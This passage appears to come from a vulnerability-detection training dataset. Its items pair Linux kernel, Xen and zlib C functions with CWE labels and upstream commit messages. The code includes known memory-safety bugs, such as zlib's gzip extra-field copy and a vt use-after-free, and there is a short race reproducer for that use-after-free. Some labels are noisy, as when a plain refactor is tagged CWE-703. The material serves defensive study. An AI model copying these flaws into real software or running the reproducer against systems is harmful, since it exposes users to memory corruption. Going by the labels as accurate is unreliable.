(vc->vc_utf)\n\t\ttty->termios.c_iflag |= IUTF8;\n\telse\n\t\ttty->termios.c_iflag &= ~IUTF8;\nunlock:\n\tconsole_unlock();\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-416', 'CWE-362'], 'message': 'vt: vt_ioctl: fix VT_DISALLOCATE freeing in-use virtual console\n\nThe VT_DISALLOCATE ioctl can free a virtual console while tty_release()\nis still running, causing a use-after-free in con_shutdown().  This\noccurs because VT_DISALLOCATE considers a virtual console's\n'struct vc_data' to be unused as soon as the corresponding tty's\nrefcount hits 0.  But actually it may be still being closed.\n\nFix this by making vc_data be reference-counted via the embedded\n'struct tty_port'.  A newly allocated virtual console has refcount 1.\nOpening it for the first time increments the refcount to 2.  Closing it\nfor the last time decrements the refcount (in tty_operations::cleanup()\nso that it happens late enough), as does VT_DISALLOCATE.\n\nReproducer:\n\t#include \n\t#include \n\t#include \n\t#include \n\n\tint main()\n\t{\n\t\tif (fork()) {\n\t\t\tfor (;;)\n\t\t\t\tclose(open(\"/dev/tty5\", O_RDWR));\n\t\t} else {\n\t\t\tint fd = open(\"/dev/tty10\", O_RDWR);\n\n\t\t\tfor (;;)\n\t\t\t\tioctl(fd, VT_DISALLOCATE, 5);\n\t\t}\n\t}\n\nKASAN report:\n\tBUG: KASAN: use-after-free in con_shutdown+0x76/0x80 drivers/tty/vt/vt.c:3278\n\tWrite of size 8 at addr ffff88806a4ec108 by task syz_vt/129\n\n\tCPU: 0 PID: 129 Comm: syz_vt Not tainted 5.6.0-rc2 #11\n\tHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS ?-20191223_100556-anatol 04/01/2014\n\tCall Trace:\n\t [...]\n\t con_shutdown+0x76/0x80 drivers/tty/vt/vt.c:3278\n\t release_tty+0xa8/0x410 drivers/tty/tty_io.c:1514\n\t tty_release_struct+0x34/0x50 drivers/tty/tty_io.c:1629\n\t tty_release+0x984/0xed0 drivers/tty/tty_io.c:1789\n\t [...]\n\n\tAllocated by task 129:\n\t [...]\n\t kzalloc include/linux/slab.h:669 [inline]\n\t vc_allocate drivers/tty/vt/vt.c:1085 [inline]\n\t vc_allocate+0x1ac/0x680 drivers/tty/vt/vt.c:1066\n\t con_install+0x4d/0x3f0 drivers/tty/vt/vt.c:3229\n\t tty_driver_install_tty drivers/tty/tty_io.c:1228 [inline]\n\t tty_init_dev+0x94/0x350 drivers/tty/tty_io.c:1341\n\t tty_open_by_driver drivers/tty/tty_io.c:1987 [inline]\n\t tty_open+0x3ca/0xb30 drivers/tty/tty_io.c:2035\n\t [...]\n\n\tFreed by task 130:\n\t [...]\n\t kfree+0xbf/0x1e0 mm/slab.c:3757\n\t vt_disallocate drivers/tty/vt/vt_ioctl.c:300 [inline]\n\t vt_ioctl+0x16dc/0x1e30 drivers/tty/vt/vt_ioctl.c:818\n\t tty_ioctl+0x9db/0x11b0 drivers/tty/tty_io.c:2660\n\t [...]\n\nFixes: 4001d7b7fc27 (\"vt: push down the tty lock so we can see what is left to tackle\")\nCc:  # v3.4+\nReported-by: syzbot+522643ab5729b0421998@syzkaller.appspotmail.com\nAcked-by: Jiri Slaby \nSigned-off-by: Eric Biggers \nLink: https://lore.kernel.org/r/20200322034305.210082-2-ebiggers@kernel.org\nSigned-off-by: Greg Kroah-Hartman '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: asmlinkage __visible void __init xen_start_kernel(void)\n{\n\tstruct physdev_set_iopl set_iopl;\n\tunsigned long initrd_start = 0;\n\tint rc;\n\n\tif (!xen_start_info)\n\t\treturn;\n\n\t__text_gen_insn(&early_xen_iret_patch,\n\t\t\tJMP32_INSN_OPCODE, &early_xen_iret_patch, &xen_iret,\n\t\t\tJMP32_INSN_SIZE);\n\n\txen_domain_type = XEN_PV_DOMAIN;\n\txen_start_flags = xen_start_info->flags;\n\n\txen_setup_features();\n\n\t/* Install Xen paravirt ops */\n\tpv_info = xen_info;\n\tpv_ops.cpu = xen_cpu_ops.cpu;\n\txen_init_irq_ops();\n\n\t/*\n\t * Setup xen_vcpu early because it is needed for\n\t * local_irq_disable(), irqs_disabled(), e.g. in printk().\n\t *\n\t * Don't do the full vcpu_info placement stuff until we have\n\t * the cpu_possible_mask and a non-dummy shared_info.\n\t */\n\txen_vcpu_info_reset(0);\n\n\tx86_platform.get_nmi_reason = xen_get_nmi_reason;\n\n\tx86_init.resources.memory_setup = xen_memory_setup;\n\tx86_init.irqs.intr_mode_select\t= x86_init_noop;\n\tx86_init.irqs.intr_mode_init\t= x86_init_noop;\n\tx86_init.oem.arch_setup = xen_arch_setup;\n\tx86_init.oem.banner = xen_banner;\n\tx86_init.hyper.init_platform = xen_pv_init_platform;\n\tx86_init.hyper.guest_late_init = xen_pv_guest_late_init;\n\n\t/*\n\t * Set up some pagetable state before starting to set any ptes.\n\t */\n\n\txen_setup_machphys_mapping();\n\txen_init_mmu_ops();\n\n\t/* Prevent unwanted bits from being set in PTEs. */\n\t__supported_pte_mask &= ~_PAGE_GLOBAL;\n\t__default_kernel_pte_mask &= ~_PAGE_GLOBAL;\n\n\t/* Get mfn list */\n\txen_build_dynamic_phys_to_machine();\n\n\t/* Work out if we support NX */\n\tget_cpu_cap(&boot_cpu_data);\n\tx86_configure_nx();\n\n\t/*\n\t * Set up kernel GDT and segment registers, mainly so that\n\t * -fstack-protector code can be executed.\n\t */\n\txen_setup_gdt(0);\n\n\t/* Determine virtual and physical address sizes */\n\tget_cpu_address_sizes(&boot_cpu_data);\n\n\t/* Let's presume PV guests always boot on vCPU with id 0. */\n\tper_cpu(xen_vcpu_id, 0) = 0;\n\n\tidt_setup_early_handler();\n\n\txen_init_capabilities();\n\n#ifdef CONFIG_X86_LOCAL_APIC\n\t/*\n\t * set up the basic apic ops.\n\t */\n\txen_init_apic();\n#endif\n\n\tmachine_ops = xen_machine_ops;\n\n\t/*\n\t * The only reliable way to retain the initial address of the\n\t * percpu gdt_page is to remember it here, so we can go and\n\t * mark it RW later, when the initial percpu area is freed.\n\t */\n\txen_initial_gdt = &per_cpu(gdt_page, 0);\n\n\txen_smp_init();\n\n#ifdef CONFIG_ACPI_NUMA\n\t/*\n\t * The pages we from Xen are not related to machine pages, so\n\t * any NUMA information the kernel tries to get from ACPI will\n\t * be meaningless.  Prevent it from trying.\n\t */\n\tdisable_srat();\n#endif\n\tWARN_ON(xen_cpuhp_setup(xen_cpu_up_prepare_pv, xen_cpu_dead_pv));\n\n\tlocal_irq_disable();\n\tearly_boot_irqs_disabled = true;\n\n\txen_raw_console_write(\"mapping kernel into physical memory\\n\");\n\txen_setup_kernel_pagetable((pgd_t *)xen_start_info->pt_base,\n\t\t\t\t   xen_start_info->nr_pages);\n\txen_reserve_special_pages();\n\n\t/*\n\t * We used to do this in xen_arch_setup, but that is too late\n\t * on AMD were early_cpu_init (run before ->arch_setup()) calls\n\t * early_amd_init which pokes 0xcf8 port.\n\t */\n\tset_iopl.iopl = 1;\n\trc = HYPERVISOR_physdev_op(PHYSDEVOP_set_iopl, &set_iopl);\n\tif (rc != 0)\n\t\txen_raw_printk(\"physdev_op failed %d\\n\", rc);\n\n\n\tif (xen_start_info->mod_start) {\n\t    if (xen_start_info->flags & SIF_MOD_START_PFN)\n\t\tinitrd_start = PFN_PHYS(xen_start_info->mod_start);\n\t    else\n\t\tinitrd_start = __pa(xen_start_info->mod_start);\n\t}\n\n\t/* Poke various useful things into boot_params */\n\tboot_params.hdr.type_of_loader = (9 << 4) | 0;\n\tboot_params.hdr.ramdisk_image = initrd_start;\n\tboot_params.hdr.ramdisk_size = xen_start_info->mod_len;\n\tboot_params.hdr.cmd_line_ptr = __pa(xen_start_info->cmd_line);\n\tboot_params.hdr.hardware_subarch = X86_SUBARCH_XEN;\n\n\tif (!xen_initial_domain()) {\n\t\tif (pci_xen)\n\t\t\tx86_init.pci.arch_init = pci_xen_init;\n\t\tx86_platform.set_legacy_features =\n\t\t\t\txen_domu_set_legacy_features;\n\t} else {\n\t\tconst struct dom0_vga_console_info *info =\n\t\t\t(void *)((char *)xen_start_info +\n\t\t\t\t xen_start_info->console.dom0.info_off);\n\t\tstruct xen_platform_op op = {\n\t\t\t.cmd = XENPF_firmware_info,\n\t\t\t.interface_version = XENPF_INTERFACE_VERSION,\n\t\t\t.u.firmware_info.type = XEN_FW_KBD_SHIFT_FLAGS,\n\t\t};\n\n\t\tx86_platform.set_legacy_features =\n\t\t\t\txen_dom0_set_legacy_features;\n\t\txen_init_vga(info, xen_start_info->console.dom0.info_size);\n\t\txen_start_info->console.domU.mfn = 0;\n\t\txen_start_info->console.domU.evtchn = 0;\n\n\t\tif (HYPERVISOR_platform_op(&op) == 0)\n\t\t\tboot_params.kbd_status = op.u.firmware_info.u.kbd_shift_flags;\n\n\t\t/* Make sure ACS will be enabled */\n\t\tpci_request_acs();\n\n\t\txen_acpi_sleep_register();\n\n\t\txen_boot_params_init_edd();\n\n#ifdef CONFIG_ACPI\n\t\t/*\n\t\t * Disable selecting \"Firmware First mode\" for correctable\n\t\t * memory errors, as this is the duty of the hypervisor to\n\t\t * decide.\n\t\t */\n\t\tacpi_disable_cmcff = 1;\n#endif\n\t}\n\n\txen_add_preferred_consoles();\n\n#ifdef CONFIG_PCI\n\t/* PCI BIOS service won't work from a PV guest. */\n\tpci_probe &= ~PCI_PROBE_BIOS;\n#endif\n\txen_raw_console_write(\"about to get started...\\n\");\n\n\t/* We need this for printk timestamps */\n\txen_setup_runstate_info(0);\n\n\txen_efi_init(&boot_params);\n\n\t/* Start the world */\n\tcr4_init_shadow(); /* 32b kernel does this in i386_start_kernel() */\n\tx86_64_start_reservations((char *)__pa_symbol(&boot_params));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703'], 'message': 'x86/xen: Use clear_bss() for Xen PV guests\n\nInstead of clearing the bss area in assembly code, use the clear_bss()\nfunction.\n\nThis requires to pass the start_info address as parameter to\nxen_start_kernel() in order to avoid the xen_start_info being zeroed\nagain.\n\nSigned-off-by: Juergen Gross \nSigned-off-by: Borislav Petkov \nReviewed-by: Jan Beulich \nReviewed-by: Boris Ostrovsky \nLink: https://lore.kernel.org/r/20220630071441.28576-2-jgross@suse.com'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int ZEXPORT inflate(strm, flush)\nz_streamp strm;\nint flush;\n{\n    struct inflate_state FAR *state;\n    z_const unsigned char FAR *next;    /* next input */\n    unsigned char FAR *put;     /* next output */\n    unsigned have, left;        /* available input and output */\n    unsigned long hold;         /* bit buffer */\n    unsigned bits;              /* bits in bit buffer */\n    unsigned in, out;           /* save starting available input and output */\n    unsigned copy;              /* number of stored or match bytes to copy */\n    unsigned char FAR *from;    /* where to copy match bytes from */\n    code here;                  /* current decoding table entry */\n    code last;                  /* parent table entry */\n    unsigned len;               /* length to copy for repeats, bits to drop */\n    int ret;                    /* return code */\n#ifdef GUNZIP\n    unsigned char hbuf[4];      /* buffer for gzip header crc calculation */\n#endif\n    static const unsigned short order[19] = /* permutation of code lengths */\n        {16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15};\n\n    if (inflateStateCheck(strm) || strm->next_out == Z_NULL ||\n        (strm->next_in == Z_NULL && strm->avail_in != 0))\n        return Z_STREAM_ERROR;\n\n    state = (struct inflate_state FAR *)strm->state;\n    if (state->mode == TYPE) state->mode = TYPEDO;      /* skip check */\n    LOAD();\n    in = have;\n    out = left;\n    ret = Z_OK;\n    for (;;)\n        switch (state->mode) {\n        case HEAD:\n            if (state->wrap == 0) {\n                state->mode = TYPEDO;\n                break;\n            }\n            NEEDBITS(16);\n#ifdef GUNZIP\n            if ((state->wrap & 2) && hold == 0x8b1f) {  /* gzip header */\n                if (state->wbits == 0)\n                    state->wbits = 15;\n                state->check = crc32(0L, Z_NULL, 0);\n                CRC2(state->check, hold);\n                INITBITS();\n                state->mode = FLAGS;\n                break;\n            }\n            if (state->head != Z_NULL)\n                state->head->done = -1;\n            if (!(state->wrap & 1) ||   /* check if zlib header allowed */\n#else\n            if (\n#endif\n                ((BITS(8) << 8) + (hold >> 8)) % 31) {\n                strm->msg = (char *)\"incorrect header check\";\n                state->mode = BAD;\n                break;\n            }\n            if (BITS(4) != Z_DEFLATED) {\n                strm->msg = (char *)\"unknown compression method\";\n                state->mode = BAD;\n                break;\n            }\n            DROPBITS(4);\n            len = BITS(4) + 8;\n            if (state->wbits == 0)\n                state->wbits = len;\n            if (len > 15 || len > state->wbits) {\n                strm->msg = (char *)\"invalid window size\";\n                state->mode = BAD;\n                break;\n            }\n            state->dmax = 1U << len;\n            state->flags = 0;               /* indicate zlib header */\n            Tracev((stderr, \"inflate:   zlib header ok\\n\"));\n            strm->adler = state->check = adler32(0L, Z_NULL, 0);\n            state->mode = hold & 0x200 ? DICTID : TYPE;\n            INITBITS();\n            break;\n#ifdef GUNZIP\n        case FLAGS:\n            NEEDBITS(16);\n            state->flags = (int)(hold);\n            if ((state->flags & 0xff) != Z_DEFLATED) {\n                strm->msg = (char *)\"unknown compression method\";\n                state->mode = BAD;\n                break;\n            }\n            if (state->flags & 0xe000) {\n                strm->msg = (char *)\"unknown header flags set\";\n                state->mode = BAD;\n                break;\n            }\n            if (state->head != Z_NULL)\n                state->head->text = (int)((hold >> 8) & 1);\n            if ((state->flags & 0x0200) && (state->wrap & 4))\n                CRC2(state->check, hold);\n            INITBITS();\n            state->mode = TIME;\n                /* fallthrough */\n        case TIME:\n            NEEDBITS(32);\n            if (state->head != Z_NULL)\n                state->head->time = hold;\n            if ((state->flags & 0x0200) && (state->wrap & 4))\n                CRC4(state->check, hold);\n            INITBITS();\n            state->mode = OS;\n                /* fallthrough */\n        case OS:\n            NEEDBITS(16);\n            if (state->head != Z_NULL) {\n                state->head->xflags = (int)(hold & 0xff);\n                state->head->os = (int)(hold >> 8);\n            }\n            if ((state->flags & 0x0200) && (state->wrap & 4))\n                CRC2(state->check, hold);\n            INITBITS();\n            state->mode = EXLEN;\n                /* fallthrough */\n        case EXLEN:\n            if (state->flags & 0x0400) {\n                NEEDBITS(16);\n                state->length = (unsigned)(hold);\n                if (state->head != Z_NULL)\n                    state->head->extra_len = (unsigned)hold;\n                if ((state->flags & 0x0200) && (state->wrap & 4))\n                    CRC2(state->check, hold);\n                INITBITS();\n            }\n            else if (state->head != Z_NULL)\n                state->head->extra = Z_NULL;\n            state->mode = EXTRA;\n                /* fallthrough */\n        case EXTRA:\n            if (state->flags & 0x0400) {\n                copy = state->length;\n                if (copy > have) copy = have;\n                if (copy) {\n                    if (state->head != Z_NULL &&\n                        state->head->extra != Z_NULL) {\n                        len = state->head->extra_len - state->length;\n                        zmemcpy(state->head->extra + len, next,\n                                len + copy > state->head->extra_max ?\n                                state->head->extra_max - len : copy);\n                    }\n                    if ((state->flags & 0x0200) && (state->wrap & 4))\n                        state->check = crc32(state->check, next, copy);\n                    have -= copy;\n                    next += copy;\n                    state->length -= copy;\n                }\n                if (state->length) goto inf_leave;\n            }\n            state->length = 0;\n            state->mode = NAME;\n                /* fallthrough */\n        case NAME:\n            if (state->flags & 0x0800) {\n                if (have == 0) goto inf_leave;\n                copy = 0;\n                do {\n                    len = (unsigned)(next[copy++]);\n                    if (state->head != Z_NULL &&\n                            state->head->name != Z_NULL &&\n                            state->length < state->head->name_max)\n                        state->head->name[state->length++] = (Bytef)len;\n                } while (len && copy < have);\n                if ((state->flags & 0x0200) && (state->wrap & 4))\n                    state->check = crc32(state->check, next, copy);\n                have -= copy;\n                next += copy;\n                if (len) goto inf_leave;\n            }\n            else if (state->head != Z_NULL)\n                state->head->name = Z_NULL;\n            state->length = 0;\n            state->mode = COMMENT;\n                /* fallthrough */\n        case COMMENT:\n            if (state->flags & 0x1000) {\n                if (have == 0) goto inf_leave;\n                copy = 0;\n                do {\n                    len = (unsigned)(next[copy++]);\n                    if (state->head != Z_NULL &&\n                            state->head->comment != Z_NULL &&\n                            state->length < state->head->comm_max)\n                        state->head->comment[state->length++] = (Bytef)len;\n                } while (len && copy < have);\n                if ((state->flags & 0x0200) && (state->wrap & 4))\n                    state->check = crc32(state->check, next, copy);\n                have -= copy;\n                next += copy;\n                if (len) goto inf_leave;\n            }\n            else if (state->head != Z_NULL)\n                state->head->comment = Z_NULL;\n            state->mode = HCRC;\n                /* fallthrough */\n        case HCRC:\n            if (state->flags & 0x0200) {\n                NEEDBITS(16);\n                if ((state->wrap & 4) && hold != (state->check & 0xffff)) {\n                    strm->msg = (char *)\"header crc mismatch\";\n                    state->mode = BAD;\n                    break;\n                }\n                INITBITS();\n            }\n            if (state->head != Z_NULL) {\n                state->head->hcrc = (int)((state->flags >> 9) & 1);\n                state->head->done = 1;\n            }\n            strm->adler = state->check = crc32(0L, Z_NULL, 0);\n            state->mode = TYPE;\n            break;\n#endif\n        case DICTID:\n            NEEDBITS(32);\n            strm->adler = state->check = ZSWAP32(hold);\n            INITBITS();\n            state->mode = DICT;\n                /* fallthrough */\n        case DICT:\n            if (state->havedict == 0) {\n                RESTORE();\n                return Z_NEED_DICT;\n            }\n            strm->adler = state->check = adler32(0L, Z_NULL, 0);\n            state->mode = TYPE;\n                /* fallthrough */\n        case TYPE:\n            if (flush == Z_BLOCK || flush == Z_TREES) goto inf_leave;\n                /* fallthrough */\n        case TYPEDO:\n            if (state->last) {\n                BYTEBITS();\n                state->mode = CHECK;\n                break;\n            }\n            NEEDBITS(3);\n            state->last = BITS(1);\n            DROPBITS(1);\n            switch (BITS(2)) {\n            case 0:                             /* stored block */\n                Tracev((stderr, \"inflate:     stored block%s\\n\",\n                        state->last ? \" (last)\" : \"\"));\n                state->mode = STORED;\n                break;\n            case 1:                             /* fixed block */\n                fixedtables(state);\n                Tracev((stderr, \"inflate:     fixed codes block%s\\n\",\n                        state->last ? \" (last)\" : \"\"));\n                state->mode = LEN_;             /* decode codes */\n                if (flush == Z_TREES) {\n                    DROPBITS(2);\n                    goto inf_leave;\n                }\n                break;\n            case 2:                             /* dynamic block */\n                Tracev((stderr, \"inflate:     dynamic codes block%s\\n\",\n                        state->last ? \" (last)\" : \"\"));\n                state->mode = TABLE;\n                break;\n            case 3:\n                strm->msg = (char *)\"invalid block type\";\n                state->mode = BAD;\n            }\n            DROPBITS(2);\n            break;\n        case STORED:\n            BYTEBITS();                         /* go to byte boundary */\n            NEEDBITS(32);\n            if ((hold & 0xffff) != ((hold >> 16) ^ 0xffff)) {\n                strm->msg = (char *)\"invalid stored block lengths\";\n                state->mode = BAD;\n                break;\n            }\n            state->length = (unsigned)hold & 0xffff;\n            Tracev((stderr, \"inflate:       stored length %u\\n\",\n                    state->length));\n            INITBITS();\n            state->mode = COPY_;\n            if (flush == Z_TREES) goto inf_leave;\n                /* fallthrough */\n        case COPY_:\n            state->mode = COPY;\n                /* fallthrough */\n        case COPY:\n            copy = state->length;\n            if (copy) {\n                if (copy > have) copy = have;\n                if (copy > left) copy = left;\n                if (copy == 0) goto inf_leave;\n                zmemcpy(put, next, copy);\n                have -= copy;\n                next += copy;\n                left -= copy;\n                put += copy;\n                state->length -= copy;\n                break;\n            }\n            Tracev((stderr, \"inflate:       stored end\\n\"));\n            state->mode = TYPE;\n            break;\n        case TABLE:\n            NEEDBITS(14);\n            state->nlen = BITS(5) + 257;\n            DROPBITS(5);\n            state->ndist = BITS(5) + 1;\n            DROPBITS(5);\n            state->ncode = BITS(4) + 4;\n            DROPBITS(4);\n#ifndef PKZIP_BUG_WORKAROUND\n            if (state->nlen > 286 || state->ndist > 30) {\n                strm->msg = (char *)\"too many length or distance symbols\";\n                state->mode = BAD;\n                break;\n            }\n#endif\n            Tracev((stderr, \"inflate:       table sizes ok\\n\"));\n            state->have = 0;\n            state->mode = LENLENS;\n                /* fallthrough */\n        case LENLENS:\n            while (state->have < state->ncode) {\n                NEEDBITS(3);\n                state->lens[order[state->have++]] = (unsigned short)BITS(3);\n                DROPBITS(3);\n            }\n            while (state->have < 19)\n                state->lens[order[state->have++]] = 0;\n            state->next = state->codes;\n            state->lencode = (const code FAR *)(state->next);\n            state->lenbits = 7;\n            ret = inflate_table(CODES, state->lens, 19, &(state->next),\n                                &(state->lenbits), state->work);\n            if (ret) {\n                strm->msg = (char *)\"invalid code lengths set\";\n                state->mode = BAD;\n                break;\n            }\n            Tracev((stderr, \"inflate:       code lengths ok\\n\"));\n            state->have = 0;\n            state->mode = CODELENS;\n                /* fallthrough */\n        case CODELENS:\n            while (state->have < state->nlen + state->ndist) {\n                for (;;) {\n                    here = state->lencode[BITS(state->lenbits)];\n                    if ((unsigned)(here.bits) <= bits) break;\n                    PULLBYTE();\n                }\n                if (here.val < 16) {\n                    DROPBITS(here.bits);\n                    state->lens[state->have++] = here.val;\n                }\n                else {\n                    if (here.val == 16) {\n                        NEEDBITS(here.bits + 2);\n                        DROPBITS(here.bits);\n                        if (state->have == 0) {\n                            strm->msg = (char *)\"invalid bit length repeat\";\n                            state->mode = BAD;\n                            break;\n                        }\n                        len = state->lens[state->have - 1];\n                        copy = 3 + BITS(2);\n                        DROPBITS(2);\n                    }\n                    else if (here.val == 17) {\n                        NEEDBITS(here.bits + 3);\n                        DROPBITS(here.bits);\n                        len = 0;\n                        copy = 3 + BITS(3);\n                        DROPBITS(3);\n                    }\n                    else {\n                        NEEDBITS(here.bits + 7);\n                        DROPBITS(here.bits);\n                        len = 0;\n                        copy = 11 + BITS(7);\n                        DROPBITS(7);\n                    }\n                    if (state->have + copy > state->nlen + state->ndist) {\n                        strm->msg = (char *)\"invalid bit length repeat\";\n                        state->mode = BAD;\n                        break;\n                    }\n                    while (copy--)\n                        state->lens[state->have++] = (unsigned short)len;\n                }\n            }\n\n            /* handle error breaks in while */\n            if (state->mode == BAD) break;\n\n            /* check for end-of-block code (better have one) */\n            if (state->lens[256] == 0) {\n                strm->msg = (char *)\"invalid code -- missing end-of-block\";\n                state->mode = BAD;\n                break;\n            }\n\n            /* build code tables -- note: do not change the lenbits or distbits\n               values here (9 and 6) without reading the comments in inftrees.h\n               concerning the ENOUGH constants, which depend on those values */\n            state->next = state->codes;\n            state->lencode = (const code FAR *)(state->next);\n            state->lenbits = 9;\n            ret = inflate_table(LENS, state->lens, state->nlen, &(state->next),\n                                &(state->lenbits), state->work);\n            if (ret) {\n                strm->msg = (char *)\"invalid literal/lengths set\";\n                state->mode = BAD;\n                break;\n            }\n            state->distcode = (const code FAR *)(state->next);\n            state->distbits = 6;\n            ret = inflate_table(DISTS, state->lens + state->nlen, state->ndist,\n                            &(state->next), &(state->distbits), state->work);\n            if (ret) {\n                strm->msg = (char *)\"invalid distances set\";\n                state->mode = BAD;\n                break;\n            }\n            Tracev((stderr, \"inflate:       codes ok\\n\"));\n            state->mode = LEN_;\n            if (flush == Z_TREES) goto inf_leave;\n                /* fallthrough */\n        case LEN_:\n            state->mode = LEN;\n                /* fallthrough */\n        case LEN:\n            if (have >= 6 && left >= 258) {\n                RESTORE();\n                inflate_fast(strm, out);\n                LOAD();\n                if (state->mode == TYPE)\n                    state->back = -1;\n                break;\n            }\n            state->back = 0;\n            for (;;) {\n                here = state->lencode[BITS(state->lenbits)];\n                if ((unsigned)(here.bits) <= bits) break;\n                PULLBYTE();\n            }\n            if (here.op && (here.op & 0xf0) == 0) {\n                last = here;\n                for (;;) {\n                    here = state->lencode[last.val +\n                            (BITS(last.bits + last.op) >> last.bits)];\n                    if ((unsigned)(last.bits + here.bits) <= bits) break;\n                    PULLBYTE();\n                }\n                DROPBITS(last.bits);\n                state->back += last.bits;\n            }\n            DROPBITS(here.bits);\n            state->back += here.bits;\n            state->length = (unsigned)here.val;\n            if ((int)(here.op) == 0) {\n                Tracevv((stderr, here.val >= 0x20 && here.val < 0x7f ?\n                        \"inflate:         literal '%c'\\n\" :\n                        \"inflate:         literal 0x%02x\\n\", here.val));\n                state->mode = LIT;\n                break;\n            }\n            if (here.op & 32) {\n                Tracevv((stderr, \"inflate:         end of block\\n\"));\n                state->back = -1;\n                state->mode = TYPE;\n                break;\n            }\n            if (here.op & 64) {\n                strm->msg = (char *)\"invalid literal/length code\";\n                state->mode = BAD;\n                break;\n            }\n            state->extra = (unsigned)(here.op) & 15;\n            state->mode = LENEXT;\n                /* fallthrough */\n        case LENEXT:\n            if (state->extra) {\n                NEEDBITS(state->extra);\n                state->length += BITS(state->extra);\n                DROPBITS(state->extra);\n                state->back += state->extra;\n            }\n            Tracevv((stderr, \"inflate:         length %u\\n\", state->length));\n            state->was = state->length;\n            state->mode = DIST;\n                /* fallthrough */\n        case DIST:\n            for (;;) {\n                here = state->distcode[BITS(state->distbits)];\n                if ((unsigned)(here.bits) <= bits) break;\n                PULLBYTE();\n            }\n            if ((here.op & 0xf0) == 0) {\n                last = here;\n                for (;;) {\n                    here = state->distcode[last.val +\n                            (BITS(last.bits + last.op) >> last.bits)];\n                    if ((unsigned)(last.bits + here.bits) <= bits) break;\n                    PULLBYTE();\n                }\n                DROPBITS(last.bits);\n                state->back += last.bits;\n            }\n            DROPBITS(here.bits);\n            state->back += here.bits;\n            if (here.op & 64) {\n                strm->msg = (char *)\"invalid distance code\";\n                state->mode = BAD;\n                break;\n            }\n            state->offset = (unsigned)here.val;\n            state->extra = (unsigned)(here.op) & 15;\n            state->mode = DISTEXT;\n                /* fallthrough */\n        case DISTEXT:\n            if (state->extra) {\n                NEEDBITS(state->extra);\n                state->offset += BITS(state->extra);\n                DROPBITS(state->extra);\n                state->back += state->extra;\n            }\n#ifdef INFLATE_STRICT\n            if (state->offset > state->dmax) {\n                strm->msg = (char *)\"invalid distance too far back\";\n                state->mode = BAD;\n                break;\n            }\n#endif\n            Tracevv((stderr, \"inflate:         distance %u\\n\", state->offset));\n            state->mode = MATCH;\n                /* fallthrough */\n        case MATCH:\n            if (left == 0) goto inf_leave;\n            copy = out - left;\n            if (state->offset > copy) {         /* copy from window */\n                copy = state->offset - copy;\n                if (copy > state->whave) {\n                    if (state->sane) {\n                        strm->msg = (char *)\"invalid distance too far back\";\n                        state->mode = BAD;\n                        break;\n                    }\n#ifdef INFLATE_ALLOW_INVALID_DISTANCE_TOOFAR_ARRR\n                    Trace((stderr, \"inflate.c too far\\n\"));\n                    copy -= state->whave;\n                    if (copy > state->length) copy = state->length;\n                    if (copy > left) copy = left;\n                    left -= copy;\n                    state->length -= copy;\n                    do {\n                        *put++ = 0;\n                    } while (--copy);\n                    if (state->length == 0) state->mode = LEN;\n                    break;\n#endif\n                }\n                if (copy > state->wnext) {\n                    copy -= state->wnext;\n                    from = state->window + (state->wsize - copy);\n                }\n                else\n                    from = state->window + (state->wnext - copy);\n                if (copy > state->length) copy = state->length;\n            }\n            else {                              /* copy from output */\n                from = put - state->offset;\n                copy = state->length;\n            }\n            if (copy > left) copy = left;\n            left -= copy;\n            state->length -= copy;\n            do {\n                *put++ = *from++;\n            } while (--copy);\n            if (state->length == 0) state->mode = LEN;\n            break;\n        case LIT:\n            if (left == 0) goto inf_leave;\n            *put++ = (unsigned char)(state->length);\n            left--;\n            state->mode = LEN;\n            break;\n        case CHECK:\n            if (state->wrap) {\n                NEEDBITS(32);\n                out -= left;\n                strm->total_out += out;\n                state->total += out;\n                if ((state->wrap & 4) && out)\n                    strm->adler = state->check =\n                        UPDATE_CHECK(state->check, put - out, out);\n                out = left;\n                if ((state->wrap & 4) && (\n#ifdef GUNZIP\n                     state->flags ? hold :\n#endif\n                     ZSWAP32(hold)) != state->check) {\n                    strm->msg = (char *)\"incorrect data check\";\n                    state->mode = BAD;\n                    break;\n                }\n                INITBITS();\n                Tracev((stderr, \"inflate:   check matches trailer\\n\"));\n            }\n#ifdef GUNZIP\n            state->mode = LENGTH;\n                /* fallthrough */\n        case LENGTH:\n            if (state->wrap && state->flags) {\n                NEEDBITS(32);\n                if ((state->wrap & 4) && hold != (state->total & 0xffffffff)) {\n                    strm->msg = (char *)\"incorrect length check\";\n                    state->mode = BAD;\n                    break;\n                }\n                INITBITS();\n                Tracev((stderr, \"inflate:   length matches trailer\\n\"));\n            }\n#endif\n            state->mode = DONE;\n                /* fallthrough */\n        case DONE:\n            ret = Z_STREAM_END;\n            goto inf_leave;\n        case BAD:\n            ret = Z_DATA_ERROR;\n            goto inf_leave;\n        case MEM:\n            return Z_MEM_ERROR;\n        case SYNC:\n                /* fallthrough */\n        default:\n            return Z_STREAM_ERROR;\n        }\n\n    /*\n       Return from inflate(), updating the total counts and the check value.\n       If there was no progress during the inflate() call, return a buffer\n       error.  Call updatewindow() to create and/or update the window state.\n       Note: a memory error from inflate() is non-recoverable.\n     */\n  inf_leave:\n    RESTORE();\n    if (state->wsize || (out != strm->avail_out && state->mode < BAD &&\n            (state->mode < CHECK || flush != Z_FINISH)))\n        if (updatewindow(strm, strm->next_out, out - strm->avail_out)) {\n            state->mode = MEM;\n            return Z_MEM_ERROR;\n        }\n    in -= strm->avail_in;\n    out -= strm->avail_out;\n    strm->total_in += in;\n    strm->total_out += out;\n    state->total += out;\n    if ((state->wrap & 4) && out)\n        strm->adler = state->check =\n            UPDATE_CHECK(state->check, strm->next_out - out, out);\n    strm->data_type = (int)state->bits + (state->last ? 64 : 0) +\n                      (state->mode == TYPE ? 128 : 0) +\n                      (state->mode == LEN_ || state->mode == COPY_ ? 256 : 0);\n    if (((in == 0 && out == 0) || flush == Z_FINISH) && ret == 